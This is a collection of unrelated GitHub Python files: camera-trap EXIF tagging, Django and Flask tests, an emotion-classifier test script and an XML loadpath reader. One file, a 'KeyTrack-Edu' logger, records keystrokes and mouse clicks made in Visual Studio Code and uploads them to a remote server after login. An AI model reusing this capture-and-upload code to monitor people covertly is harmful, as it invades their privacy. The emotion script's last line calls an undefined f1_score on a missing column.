class): {exif_dict[\"Exif\"][37386]}')\n\nconfig = read_yaml('config.yaml')\nconfig['DEBUG'] = 0\nfor conf_key in config.keys():\n if conf_key in os.environ:\n config[conf_key] = os.environ[conf_key]\n\ntry:\n en_path = Path(config['INPUT_DIR'],config['EN_FILE'])\n en_out = pd.read_pickle(en_path)\nexcept Exception as e:\n print(e)\n exit(\"ERROR: Unable to read en_out file.\")\n\ntry:\n json_path = Path(config['INPUT_DIR'],config['MD_FILE'])\n with open(json_path, \"r\") as read_json:\n json_data = json.load(read_json)\nexcept Exception as e:\n print(e)\n exit(\"ERROR: Unable to read MegaDetector json file\")\n\nprint(\"Writing MD conf and orig date time exif data from \" + str(len(json_data['images'])) + \" images in \" + config['MD_FILE'] + \" to \" + config['EN_CSV'])\nen_out['date_time_orig'] = None\nfor json_image in tqdm(json_data['images']):\n if(contains_animal(json_image)):\n image_name = Path(json_image.get('file')).name\n image_stem = Path(json_image.get('file')).stem\n image_ext = Path(json_image.get('file')).suffix\n #input_path = Path(config['INPUT_DIR'],image_name)\n try:\n input_path = next(Path(config['INPUT_DIR']).rglob(image_name))\n img = Image.open(input_path)\n try:\n exif_dict = piexif.load(img.info[\"exif\"])\n except:\n exif_dict = {'Exif': {}}\n try:\n en_out.loc[en_out['filename'].str.startswith(str(image_stem)) , 'date_time_orig'] = str(exif_dict[\"Exif\"][36867].decode('UTF-8'))\n except:\n modified_time = os.path.getmtime(input_path)\n date_time_str = datetime.fromtimestamp(modified_time).strftime('%Y:%m:%d %H:%M:%S')\n en_out.loc[en_out['filename'].str.startswith(str(image_stem)), 'date_time_orig'] = date_time_str\n for idx in range(len(json_image['detections'])):\n en_out.loc[en_out['filename'].str.startswith(str(image_stem) + '-' + str(idx)), 'conf'] = json_image['detections'][idx]['conf']\n except Exception as e:\n print(e)\n print(\"ERROR: failed to process \" + image_name)\n\ntry:\n en_out.to_pickle(Path(config[\"INPUT_DIR\"],config[\"EN_FILE\"]))\n en_out.to_csv(Path(config[\"INPUT_DIR\"],config[\"EN_CSV\"]))\nexcept Exception as e:\n print(e)\n exit(\"ERROR: trouble writing output files\")\n# en_out = en_out.loc[((en_out.class_rank == 1.0) | (en_out.class_rank == 2.0)) & (en_out.filename.str.contains(\"-0\\.\"))]\n# en_out['filename'] = en_out['filename'].replace(\"-0\\.\", \".\", regex = True)\n# en_out = en_out.drop('label', axis = 1)\n\nprint(\"Writing metadata to \" + str(len(json_data['images'])) + \" images from \" + config['MD_FILE'])\nfor json_image in tqdm(json_data['images']):\n if(contains_animal(json_image)):\n valid_image = process_detections(json_image,config['OVERLAP'],config['EDGE_DIST'],config['MIN_EDGES'],config['UPPER_CONF'],config['LOWER_CONF'])\n image_name = Path(json_image.get('file')).name\n image_stem = Path(json_image.get('file')).stem\n image_ext = Path(json_image.get('file')).suffix\n #input_path = Path(config['INPUT_DIR'],image_name)\n try:\n input_path = next(Path(config['INPUT_DIR']).rglob(image_name))\n detections = sum(valid_image)\n en_out.loc[en_out.filename == image_name, 'detections'] = detections # just housekeeping with the df\n img = Image.open(input_path)\n try:\n exif_dict = piexif.load(img.info[\"exif\"])\n except:\n exif_dict = {'Exif': {}}\n try:\n iptc_keywords = get_keywords(input_path)\n # print(\"iptc keywords:\" + iptc_keywords)\n except:\n iptc_keywords = None\n if(41988 in exif_dict[\"Exif\"] and type(exif_dict[\"Exif\"][41988]) is int):\n exif_dict[\"Exif\"][41988] = (exif_dict[\"Exif\"][41988], 1) # hack to fix Bushnell data - this value needs to be a tuple\n if(int(config['DEBUG']) > 0):\n print(image_name)\n print(\"before\")\n print_exif(exif_dict)\n if(int(config['DEBUG']) > 1):\n for key, value in exif_dict[\"Exif\"].items():\n print(key, value)\n # set the f_number 33437\n exif_dict[\"Exif\"][33437] = (int(detections), 1)\n group_1 = en_out.loc[(en_out['filename'].str.contains(str(image_stem) + '-[0-9]+\\.jpg', case=False)) & (en_out.class_rank == 1.0)]\n group_1 = group_1.reset_index()\n group_2 = en_out.loc[(en_out['filename'].str.contains(str(image_stem) + '-[0-9]+\\.jpg', case=False)) & (en_out.class_rank == 2.0)]\n group_2 = group_2.reset_index()\n if(int(config['DEBUG']) > 0):\n print(\"group_1\")\n print(group_1)\n print(\"group_2\")\n print(group_2)\n if(len(group_1) > 0):\n class_1 = group_1.loc[group_1['conf'].idxmax(), 'class_id']\n prob_1 = group_1.loc[group_1['conf'].idxmax(), 'prob']\n #class_1 = en_out.loc[(en_out['filename'].str.contains(str(image_stem))) & (en_out.class_rank == 1.0), 'class_id']\n #prob_1 = en_out.loc[(en_out['filename'].str.contains(str(image_stem))) & (en_out.class_rank == 1.0), 'prob']\n #class_2 = en_out.loc[(en_out['filename'].str.contains(str(image_stem))) & (en_out.class_rank == 2.0), 'class_id']\n #if(len(class_1) > 0): \n # set iso 34855\n #exif_dict[\"Exif\"][34855] = int(class_1.values[0])\n exif_dict[\"Exif\"][34855] = int(class_1)\n # set exposure time 33434\n #exif_dict[\"Exif\"][33434] = (int(round(prob_1.values[0]*8640,0)), 8640)\n #exif_dict[\"Exif\"][33434] = (min(int(round(prob_1.values[0]*100,0)),99),1)\n exif_dict[\"Exif\"][33434] = (min(int(round(prob_1*100,0)),99),1)\n else: # clean up if there are no efficientnet values to store\n exif_dict[\"Exif\"].pop(34855, None)\n exif_dict[\"Exif\"].pop(33434, None)\n if(len(group_2) > 0):\n class_2 = group_2.loc[group_2['conf'].idxmax(), 'class_id']\n # set focal length 37386\n #exif_dict[\"Exif\"][37386] = (int(class_2.values[0]), 1)\n exif_dict[\"Exif\"][37386] = (int(class_2), 1)\n else: # clean up if there are no efficientnet values to store\n exif_dict[\"Exif\"].pop(37386, None)\n if(int(config['DEBUG']) > 0):\n print(\"After\")\n print_exif(exif_dict)\n exif_bytes = piexif.dump(exif_dict)\n img.save(input_path, exif=exif_bytes)\n if iptc_keywords is not None:\n iptc_keywords.save_as(str(input_path))\n # remove temp file with ~ at end\n if(Path(str(input_path) + \"~\").is_file()):\n Path(str(input_path) + \"~\").unlink()\n except Exception as e:\n print(e)\n print(\"ERROR: failed to process \" + image_name)","repo_name":"zaandahl/mewc-exif","sub_path":"src/mewc_exif.py","file_name":"mewc_exif.py","file_ext":"py","file_size_in_byte":8194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42297096326","text":"from pynput import keyboard\nfrom pynput import mouse\nfrom datetime import datetime\nimport pygetwindow as gw\nimport requests\nimport time\nimport subprocess\nimport sys\nimport customtkinter as ctk\nimport webbrowser\nimport sys\nfrom threading import Thread\nimport queue\n\n\nsession = {\"sessionid\": 0, \"start\": None, \"end\": None}\nURL = 'https://keytrackedu.com/rest/'\njwt = None\nerror = None\n\ndef start_login():\n ctk.set_appearance_mode(\"dark\")\n ctk.set_default_color_theme(\"blue\")\n app = ctk.CTk()\n app.geometry(\"400x450\")\n app.title(\"KeyTrack-Edu\")\n\n def login():\n global error\n if error != None:\n error.destroy\n r = requests.post(URL + \"login\", json={\"username\": user_entry.get(), \"password\": user_pass.get()})\n if r:\n global jwt\n jwt = r.json()['token']\n f = open(\"jwt.txt\", \"a\")\n f.write(jwt)\n f.close()\n error = ctk.CTkLabel(master=frame,text='Logged in!', text_color=(\"green\"))\n error.pack(pady=5,padx=5)\n app.after(3000,app.destroy)\n else:\n error = ctk.CTkLabel(master=frame,text=r.json()['message'], text_color=(\"red\"))\n error.pack(pady=5,padx=5)\n error.after(3000, error.destroy)\n return\n \n \n label = ctk.CTkLabel(app,text=\"Welcome!\")\n \n label.pack(pady=20)\n \n \n frame = ctk.CTkFrame(master=app)\n frame.pack(pady=20,padx=40,fill='both',expand=True)\n \n label = ctk.CTkLabel(master=frame,text='Please sign in')\n label.pack(pady=12,padx=10)\n \n \n user_entry= ctk.CTkEntry(master=frame,placeholder_text=\"Username\")\n user_entry.pack(pady=12,padx=10)\n \n user_pass= ctk.CTkEntry(master=frame,placeholder_text=\"Password\",show=\"*\")\n user_pass.pack(pady=12,padx=10)\n\n \n button = ctk.CTkButton(master=frame,text='Login',command=login)\n button.pack(pady=12,padx=10)\n \n\n link1 = ctk.CTkLabel(master=frame, text=\"No account?\")\n link1.pack(pady=12,padx=10)\n link1.bind(\"\", lambda e: webbrowser.open_new(\"https://keytrackedu.com/\"))\n def on_closing():\n sys.exit()\n\n app.protocol(\"WM_DELETE_WINDOW\", on_closing)\n app.mainloop()\n\ntry:\n f = open(\"jwt.txt\", \"r\")\n jwt = f.read()\n r = requests.get(URL, headers={\"Authorization\": jwt})\n if r.status_code==402 or r.status_code==403:\n start_login()\nexcept IOError:\n start_login()\n\nkeyboard_listener = None\nmouse_listener = None\n \ndef check_if_stopped():\n global keyboard_listener\n global mouse_listener\n while is_vsc_running():\n time.sleep(60)\n mouse_listener.stop()\n keyboard_listener.stop()\n\ndef start_new_session():\n r = requests.post(URL + \"session\", json={\"start\": str(datetime.now()), \"end\": str(datetime.now())},\n headers={\"Authorization\": jwt})\n global session\n session = {\"sessionid\": r.json()['id'], \"start\": r.json()['start'], \"end\": None}\n\ndef is_process_running(process_name):\n command = \"\"\n if sys.platform.startswith(\"win\"):\n command = f'tasklist /FI \"IMAGENAME eq {process_name}.exe\"'\n elif sys.platform.startswith(\"linux\"):\n command = f'pgrep {process_name}'\n else:\n raise NotImplementedError(\"Unsupported platform\")\n\n try:\n call = subprocess.check_output(command, shell=True)\n return not call==b'INFO: No tasks are running which match the specified criteria.\\r\\n'\n except subprocess.CalledProcessError:\n return False\n\ndef is_vsc_running():\n vsc_process_names = [\"code\", \"code.exe\"]\n for process_name in vsc_process_names:\n if is_process_running(process_name):\n return True\n return False\n\n\ndef on_press(key):\n try:\n active_window = gw.getActiveWindow()\n if active_window is not None and \"Visual Studio Code\" in active_window.title:\n try:\n if key.char:\n code = int(''.join(f'{ord(c)}' for c in key.char))\n data = {\"pressed\": key.char if code > 32 else code, \"pressedAt\": str(datetime.now()), \"special\": int(False), \"session_id\": session['sessionid']}\n send_post_request(URL + \"keyboard\", data)\n except AttributeError:\n data = {\"pressed\": str(key), \"pressedAt\": str(datetime.now()), \"special\": int(True), \"session_id\": session['sessionid']}\n send_post_request(URL + \"keyboard\", data)\n except TypeError:\n pass\n except gw.PyGetWindowException:\n pass\n\ndef on_click(x, y, button, pressed):\n try:\n active_window = gw.getActiveWindow()\n if active_window is not None and \"Visual Studio Code\" in active_window.title and active_window.isMaximized:\n data = {\"x\": x, \"y\": y, \"pressedAt\": str(datetime.now()), \"isRight\": int(button is button.right), \"released\": int(pressed is False),\"session_id\": session['sessionid']}\n send_post_request(URL + \"mouse\", data)\n except gw.PyGetWindowException:\n pass\n\ndef send_post_request(url, data):\n request_queue.put((url, data))\n\ndef handle_requests():\n while True:\n url, data = request_queue.get()\n try:\n r = requests.post(url, json=data, headers={\"Authorization\": jwt})\n if r.status_code != 200:\n print(f\"Error sending request: {r.status_code}\")\n print(r.text)\n except requests.exceptions.RequestException as e:\n print(f\"Error sending requestt: {e}\")\n request_queue.task_done()\n\nrequest_queue = queue.Queue()\nthread = Thread(target=handle_requests)\nthread.start()\n\ndef main():\n global keyboard_listener\n global mouse_listener\n while not is_vsc_running():\n time.sleep(60)\n start_new_session()\n keyboard_listener = keyboard.Listener(on_press=on_press)\n mouse_listener = mouse.Listener(on_click=on_click)\n keyboard_listener.start()\n mouse_listener.start()\n check_if_stopped()\n keyboard_listener.join()\n mouse_listener.join()\n main()\nmain()\nthread.join()","repo_name":"AjdiNNN/keytrack-edu","sub_path":"pyhton/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":6048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32610344383","text":"\"\"\"\n変数 定数\n\"\"\"\n\n\n#慣習的には定数 \nCOMPANY_KINDS_LTD = \"株式会社\"\n\nCOMPANY_KINDS_LLC = \"合同会社\"\n\nPARAMETER = 10 \n\n#変数 \n\nmessage = \"Hello Python\"\n\nn = 100000\n\nstock_value_jpy = 150\n\nstock_value_usd = 349.15\n\nmath_theory = \"アルキメデスの原理\"\n\nmodern_security_system = \"RSA暗号方式\"","repo_name":"POD-azlamarhyu/python_basic_blog","sub_path":"src02.py","file_name":"src02.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40679174371","text":"from datetime import timedelta\n\nfrom django.test import TestCase, override_settings\nfrom django.utils.timezone import now\n\nfrom exhaust.tests.factories import (AttachmentFactory, PostFactory,\n PostImageFactory)\n\n\nclass PostModelTestCase(TestCase):\n def test_post_status_text(self):\n # If `online` is false, it should always show as \"Draft\"\n post = PostFactory.create(online=False)\n self.assertEqual(post.status_text, 'Draft')\n\n # ...even if the publication date is a future date (when online=True\n # it'll be \"Scheduled\").\n post = PostFactory.create(online=False, date=now() + timedelta(days=2))\n self.assertEqual(post.status_text, 'Draft')\n\n # Check future-scheduled posts.\n post = PostFactory.create(online=True, date=now() + timedelta(days=2))\n self.assertEqual(post.status_text, 'Scheduled')\n\n # And one that is live now.\n post = PostFactory.create(online=True)\n self.assertEqual(post.status_text, 'Published')\n\n @override_settings(\n DEFAULT_FILE_STORAGE='inmemorystorage.InMemoryStorage',\n INMEMORYSTORAGE_PERSIST=True,\n MEDIA_URL='/m/'\n )\n def test_post_str(self):\n post = PostFactory.create(title='Testing!', online=True)\n self.assertEqual(str(post), 'Testing!')\n\n post = PostFactory.create(title='', text='Body', online=True)\n self.assertEqual(str(post), 'Body')\n\n # Test body truncation.\n post = PostFactory.create(title='', text='a' * 41, online=True)\n self.assertEqual(str(post), ('a' * 38) + '...')\n\n post = PostFactory.create(title='', text='', online=True)\n self.assertEqual(str(post), '(Broken post)')\n\n # Check with a \"real\" image. The real tests are already done for\n # render_multiformat_image. We'll only make sure it looks something\n # like what we expect.\n post = PostFactory.create(title='', text='', online=True, image='small-image.jpg')\n\n self.assertIs(str(post).startswith('Image post: small-image'), True)\n self.assertIs(str(post).endswith('.jpg'), True)\n\n def test_post_get_title_link_url(self):\n post = PostFactory.create(online=True)\n self.assertEqual(post.get_title_link_url(), post.get_absolute_url())\n\n post = PostFactory.create(link='https://example.invalid', online=True)\n self.assertEqual(post.get_title_link_url(), 'https://example.invalid')\n\n @override_settings(\n DEFAULT_FILE_STORAGE='inmemorystorage.InMemoryStorage',\n INMEMORYSTORAGE_PERSIST=True,\n MEDIA_URL='/m/'\n )\n def test_post_image_str(self):\n post_image = PostImageFactory.create(image='small-image.jpg')\n self.assertIs(str(post_image).startswith('small-image'), True)\n self.assertIs(str(post_image).endswith('.jpg'), True)\n\n post_image.title = 'Test'\n self.assertEqual(str(post_image), 'Test')\n\n @override_settings(\n DEFAULT_FILE_STORAGE='inmemorystorage.InMemoryStorage',\n INMEMORYSTORAGE_PERSIST=True,\n MEDIA_URL='/m/'\n )\n def test_post_image_get_absolute_url(self):\n post_image = PostImageFactory.create(image='small-image.jpg')\n self.assertEqual(post_image.get_absolute_url(), f'/image-redirect/{post_image.pk}/')\n\n @override_settings(\n DEFAULT_FILE_STORAGE='inmemorystorage.InMemoryStorage',\n INMEMORYSTORAGE_PERSIST=True,\n MEDIA_URL='/m/'\n )\n def test_attachment_str(self):\n attachment = AttachmentFactory(file='small-image.jpg')\n self.assertEqual(str(attachment), 'small-image.jpg')\n","repo_name":"lewiscollard/exhaust","sub_path":"exhaust/tests/posts/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17659749395","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### EMOTION DETECTION - TEST MODEL\n\n# In[57]:\n\n\nimport os\nimport sys\nfrom pathlib import Path\nimport pickle\nfrom emoji import demojize\nimport json\nimport re\nimport nltk\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.layers import Input, Embedding, SpatialDropout1D, LSTM\nfrom tensorflow.keras.layers import GlobalAveragePooling1D, GlobalMaxPooling1D\nfrom tensorflow.keras.layers import Bidirectional, Conv1D, Dense, concatenate\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\n\n# In[58]:\n\n\n# Add project path to the PYTHONPATH\nsys.path.append(Path(os.path.join(os.path.abspath(''), '../')).resolve().as_posix())\n\n\n# ### LOAD TOKENIZER AND MODEL\n\n# In[59]:\n\n\ntokenizer_path = Path('tokenizer.pickle').resolve()\nwith tokenizer_path.open('rb') as file:\n tokenizer = pickle.load(file)\n\n\n# In[60]:\n\n\ninput_dim = min(tokenizer.num_words, len(tokenizer.word_index) + 1)\nnum_classes = 12\nembedding_dim = 500\ninput_length = 100\nlstm_units = 128\nlstm_dropout = 0.1\nrecurrent_dropout = 0.1\nspatial_dropout=0.2\nfilters=64\nkernel_size=3\n\ninput_dim = min(tokenizer.num_words, len(tokenizer.word_index) + 1)\nnum_classes = 12\nembedding_dim = 500\ninput_length = 100\nlstm_units = 128\nlstm_dropout = 0.1\nrecurrent_dropout = 0.1\nspatial_dropout=0.2\nfilters=64\nkernel_size=3\n\ninput_layer = Input(shape=(input_length,))\noutput_layer = Embedding(\n input_dim=input_dim,\n output_dim=embedding_dim,\n input_shape=(input_length,)\n)(input_layer)\n\noutput_layer = SpatialDropout1D(spatial_dropout)(output_layer)\n\noutput_layer = Bidirectional(\nLSTM(lstm_units, return_sequences=True,\n dropout=lstm_dropout, recurrent_dropout=recurrent_dropout)\n)(output_layer)\n\noutput_layer = Bidirectional(\nLSTM(lstm_units, return_sequences=True,\n dropout=lstm_dropout, recurrent_dropout=recurrent_dropout)\n)(output_layer)\n\noutput_layer = Conv1D(filters, kernel_size=kernel_size, padding='valid',\n kernel_initializer='glorot_uniform')(output_layer)\n\navg_pool = GlobalAveragePooling1D()(output_layer)\nmax_pool = GlobalMaxPooling1D()(output_layer)\noutput_layer = concatenate([avg_pool, max_pool])\n\noutput_layer = Dense(num_classes, activation='softmax')(output_layer)\n\nmodel = Model(input_layer, output_layer)\n\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\nmodel.summary()\n\n\n# In[61]:\n\n\nmodel_weights_path = Path('../model_weights.h5').resolve()\nmodel.load_weights(model_weights_path.as_posix())\n\n\n# ### LOAD TEST DATA & ENCODER\n\n# The test data generated by splitting using train_test is used here. Change the name of the file here in JSON file accordingly\n\n# In[62]:\n\n\ndef csvTestFileCreation(f):\n file = open(f)\n data = json.load(file)\n df = pd.DataFrame(columns=[\"id\",\"text\"])\n for key in data:\n df = df.append({\"id\":key,\"text\":data[key][\"body\"]}, ignore_index = True)\n df.to_csv(\"nlp_test.csv\")\n return df\n\n\n# In[63]:\n\n\ndef preprocess(texts, quiet=False):\n texts = texts.str.lower()\n texts = texts.str.replace(r\"(http|@)\\S+\", \"\")\n texts = texts.apply(demojize)\n texts = texts.str.replace(r\"::\", \": :\")\n texts = texts.str.replace(r\"’\", \"'\")\n texts = texts.str.replace(r\"[^a-z\\':_]\", \" \")\n pattern = re.compile(r\"(.)\\1{2,}\", re.DOTALL)\n texts = texts.str.replace(pattern, r\"\\1\")\n texts = texts.str.replace(r\"(can't|cannot)\", 'can not')\n texts = texts.str.replace(r\"n't\", ' not')\n stopwords = nltk.corpus.stopwords.words('english')\n stopwords.remove('not')\n stopwords.remove('nor')\n stopwords.remove('no')\n texts = texts.apply(lambda x: ' '.join([word for word in x.split() if word not in stopwords]))\n print(\"Preprocessing done\")\n return texts\n\n\n# In[64]:\n\n\n#Uncomment the below statement and rename the json file accordingly\n#the json file format should be in the given train file format\ndf = csvTestFileCreation(\"nlp_test.json\")\ndata_path = Path('nlp_test.csv').resolve() \ndata = pd.read_csv(data_path)\n\nencoder_path = Path('../encoder.pickle').resolve()\nwith encoder_path.open('rb') as file:\n encoder = pickle.load(file)\n\ncleaned_data = preprocess(data.text)\nsequences = [text.split() for text in cleaned_data]\nlist_tokenized = tokenizer.texts_to_sequences(sequences)\nx_data = pad_sequences(list_tokenized, maxlen=100)\n\n\n# ### PREDICTION AND OUTPUT\n\n# In[65]:\n\n\ny_pred = model.predict(x_data)\ny_pred\n\ny_pred = model.predict(x_data)\nlabel = encoder.classes_\noutput_array = []\nfor post_val in range(0, len(y_pred)):\n temp_array = []\n post_avg = np.average(y_pred[post_val])\n# print()\n post_text = data.iloc[post_val][\"text\"]\n print(data.iloc[post_val][\"id\"])\n for index in range(0, len(y_pred[post_val])):\n if(y_pred[post_val][index] > post_avg):\n print(label[index])\n temp_array.append(label[index])\n output_array.append(temp_array)\n print(\"\\n\")\n\n\n# In[66]:\n\n\nf1_score(df[\"label\"], output_array)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"KaushikaAkella/EmotionDetection","sub_path":"test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34750088741","text":"import xml.etree.ElementTree as et\nfrom .structure_core import Structure\nfrom .structure_core import Loadpath2\nfrom .structure_core import Component\nfrom .structure_core import CrossComponent\nfrom .structure_core import Node\nfrom itertools import tee\n\ndef read_xml(path):\n \"\"\"Return a Structure object, based on the .xml at the given path\"\"\"\n # create a tree object, given the address of the .xml file\n tree = et.parse(path)\n # create a variable that contains the root\n root = tree.getroot()\n # create empty structure\n struct = Structure.Structure([ ],[ ])\n # add nodes to loadpaths\n add_nodes(root, struct)\n # add components to loadpaths and cross components to the structure\n add_components(root, struct)\n # insert gaps\n gaps_insertor(struct)\n # initialise firewall and barrier\n init_firewall_and_barrier(struct)\n return struct\n\ndef add_nodes(root, struct):\n # loop over levels (i.e. loadpath levels)\n for level in root.iter('level'):\n # create a loadpath\n level_id = int(level.find('id').text)\n loadpath = Loadpath2.Loadpath(level_id)\n # loop over components to add nodes\n for component in level.iter('component'):\n if component.find('end_level') is None: # skip crossComponents\n x = float(component.find('x1').text)\n loadpath.setNodes.add(Node.Node(x, level_id))\n x = float(component.find('x2').text) \n loadpath.setNodes.add(Node.Node(x, level_id))\n # append loadpath\n if loadpath.setNodes:\n struct.listLoadpaths.append(loadpath)\n # loop over cross components\n for component in root.iter('component'):\n if component.find('end_level') is not None:\n # look for loadpaths defined implicitly by \"end_level\" \n level_id = int(component.find('end_level').text)\n try:\n loadpath, = [loadpath for loadpath in struct.listLoadpaths\n if loadpath.level == level_id]\n except ValueError:\n # no such a loadpath, create it\n loadpath = Loadpath2.Loadpath(level_id)\n # append loadpath\n struct.listLoadpaths.append(loadpath)\n # add node\n x = float(component.find('x2').text)\n loadpath.setNodes.add(Node.Node(x, level_id))\n\ndef add_components(root, struct):\n # loop over components\n for level in root.iter('level'):\n level_id = int(level.find('id').text)\n for component in level.iter('component'):\n # if it's a normal component\n if component.find('end_level') is None:\n # get loadpath\n loadpath, = [loadpath for loadpath in struct.listLoadpaths\n if loadpath.level == level_id]\n # get nodes\n leftNode, = [node for node in loadpath.setNodes\n if node.position == float(component.\n find('x1').text)]\n rightNode, = [node for node in loadpath.setNodes\n if node.position == float(component.\n find('x2').text)]\n if rightNode.position < leftNode.position:\n leftNode, rightNode = rightNode, leftNode\n # compute rigid length\n length = rightNode.position - leftNode.position\n rigidLength = length - float(component.find('defoLength').text)\n # create and append component\n loadpath.listComponents.append(\n Component.Component(leftNode, rightNode,\n rigidLength,\n component.find('name').text.strip(),\n False))\n # if instead it's a cross component\n else:\n # get first loadpath\n loadpath, = [loadpath for loadpath in struct.listLoadpaths\n if loadpath.level == level_id]\n # get leftNode\n leftNode, = [node for node in loadpath.setNodes\n if node.position == float(component.\n find('x1').text)]\n # get second loadpath\n level_id2 = int(component.find('end_level').text)\n loadpath, = [loadpath for loadpath in struct.listLoadpaths\n if loadpath.level == level_id2]\n # get rightNode\n rightNode, = [node for node in loadpath.setNodes\n if node.position == float(component.\n find('x2').text)]\n if rightNode.position < leftNode.position:\n leftNode, rightNode = rightNode, leftNode\n # compute rigid length\n length = rightNode.position - leftNode.position\n rigidLength = length - float(component.find('defoLength').text)\n # create and append component\n struct.listCrossComponents.append(\n CrossComponent.\n CrossComponent(component.find('name').text.strip(),\n leftNode, rightNode,\n rigidLength))\ndef gaps_insertor(structure):\n leftLimit = min(component.leftNode.position\n for loadpath in structure.listLoadpaths\n for component in loadpath.listComponents)\n \n for loadpath in structure.listLoadpaths:\n###############################################################################\n # add gaps in front of the loadpath\n node = min((node\n for node in loadpath.setNodes),\n key = lambda node: node.position)\n if leftLimit < node.position:\n frontNode = Node.Node(leftLimit, # position\n node.loadpathLevel) # loadpath level\n \n gap = Component. \\\n Component(frontNode,\n node,\n 0,\n 'front-gap-{0}'.format(node.loadpathLevel),\n True)\n loadpath.listComponents.append(gap)\n structure.listGaps.append(gap)\n###############################################################################\n # add gaps between components\n # create a gap_name iterator (e.g. 'gap-0-1', 'gap-0-2', ...)\n name = gap_name(loadpath.level)\n # create and sort a list of nodes \n listNodes = list(loadpath.setNodes)\n listNodes.sort(key = lambda node: node.position)\n # create two iterators\n nodes, next_nodes = tee(listNodes)\n # advance by one in next_nodes\n ignore_me = next(next_nodes)\n for node, next_node in zip(nodes, next_nodes):\n try:\n # look for a comp that goes from node to next_node\n comp, = [comp\n for comp in loadpath.listComponents\n if comp.leftNode is node\n and comp.rightNode is next_node]\n except ValueError:\n # such a component doesn't exist\n # create a gap\n gap = Component.Component(node, next_node, 0,\n next(name),\n True)\n loadpath.listComponents.append(gap)\n structure.listGaps.append(gap)\n\n###############################################################################\n # add gaps behind the loadpath\n node = max((node\n for node in loadpath.setNodes),\n key = lambda node: node.position)\n if node.towardsFirewall:\n # there is at least a cross component going from the node towards\n # the firewall, thus a gap should be inserted\n\n # get all the loadpath linked to the right of the node \n lp_levels = [crossComp.rightNode.loadpathLevel\n for crossComp in node.towardsFirewall]\n # compute the rightLimit\n rightLimit = max(comp.rightNode.position\n for lp in structure.listLoadpaths\n if lp.level in lp_levels\n for comp in lp.listComponents)\n backNode = Node.Node(rightLimit,\n node.loadpathLevel)\n\n gap = Component.\\\n Component(node,\n backNode,\n 0,\n \"back-gap-{0}\".format(node.loadpathLevel),\n True)\n loadpath.listComponents.append(gap)\n structure.listGaps.append(gap)\n###############################################################################\n\ndef gap_name(level):\n counter = 0\n while True:\n yield 'gap-{0}{1}'.format(level, counter)\n counter += 1\n\ndef init_firewall_and_barrier(structure):\n for loadpath in structure.listLoadpaths:\n frontNode = min((comp.leftNode\n for comp in loadpath.listComponents),\n key = lambda node: node.position)\n backNode = max((comp.rightNode\n for comp in loadpath.listComponents),\n key = lambda node: node.position)\n\n frontNode.onBarrier = True\n backNode.onFirewall = True\n\n for comp in frontNode.towardsFirewall:\n comp.link_to_barrier()\n for comp in backNode.towardsBarrier:\n comp.link_to_firewall()\n","repo_name":"JDanielPR/Project_SofwareLab","sub_path":"Animation_files/OoD_animation/pkg/read_xml2.py","file_name":"read_xml2.py","file_ext":"py","file_size_in_byte":9897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25073257584","text":"from app import db, app\nfrom models import Institucion, Proyecto, Usuario\n\ndef test_limpiar_bd() -> None:\n with app.app_context():\n db.drop_all()\n db.create_all()\n\n count_institucion = Institucion.query.count()\n count_proyectos = Proyecto.query.count()\n count_usuarios = Usuario.query.count()\n\n assert count_institucion == 0 and count_proyectos == 0 and count_usuarios == 0\n\n\ndef test_agregar_institucion() -> None:\n with app.app_context():\n descripcion_ins = 'Descripcion de n1'\n direccion_ins = 'Calle 1'\n nombre_ins = 'Institucion n1'\n\n institucion = Institucion(descripcion=descripcion_ins, direccion=direccion_ins,\\\n nombre=nombre_ins)\n\n db.session.add(institucion)\n db.session.commit()\n\n assert Institucion.query.count() == 1\n\n\ndef test_agregar_usuario() -> None:\n with app.app_context():\n from datetime import datetime \n\n nombre_usuario = 'Javier' \n apellido_usuario = 'Castro'\n rut_usuario = 'A1234567890'\n cargo_usuario = 'Cargo de prueba'\n edad_usuario = 26\n fecha = datetime.strptime('13-07-1996', '%d-%m-%Y')\n\n usuario = Usuario(nombres=nombre_usuario, apellidos=apellido_usuario, rut=rut_usuario,\\\n fecha_nacimiento=fecha, cargo=cargo_usuario, edad=edad_usuario) \n\n db.session.add(usuario)\n db.session.commit()\n\n assert Usuario.query.count() == 1\n\n\ndef test_agregar_proyecto() -> None:\n with app.app_context():\n from datetime import datetime, timedelta\n\n nombre_proyecto = 'Proyecto de prueba'\n fecha_fin = datetime.now() + timedelta(days=30)\n proyecto = Proyecto(nombre=nombre_proyecto, fecha_termino=fecha_fin) \n\n usuario = Usuario.query.filter_by(id=1).first()\n institucion = Institucion.query.filter_by(id=1).first()\n\n usuario.proyectos.append(proyecto)\n institucion.proyectos.append(proyecto)\n\n db.session.add(proyecto)\n db.session.commit()\n\n assert Proyecto.query.count() == 1\n\n\ndef test_editar_proyecto() -> None:\n with app.app_context():\n nombre_proyecto = 'Proyecto de prueba - editado'\n proyecto = Proyecto.query.filter_by(id=1).first()\n\n proyecto.nombre = nombre_proyecto\n db.session.commit()\n\n get_proyecto = Proyecto.query.filter_by(id=1).first()\n assert get_proyecto.nombre == nombre_proyecto\n\n\ndef test_eliminar_usuario() -> None:\n with app.app_context():\n usuario = Usuario.query.filter_by(id=1).first()\n\n db.session.delete(usuario)\n db.session.commit()\n\n # proyecto => (institucion_id=1, usuario_id=None) -> ondelete = 'SET NULL' (default -> None)\n assert Usuario.query.count() == 0\n\n\ndef test_fk_institucion_proyectos() -> None:\n '''\n Este test evalúa las referencias entre Institución y 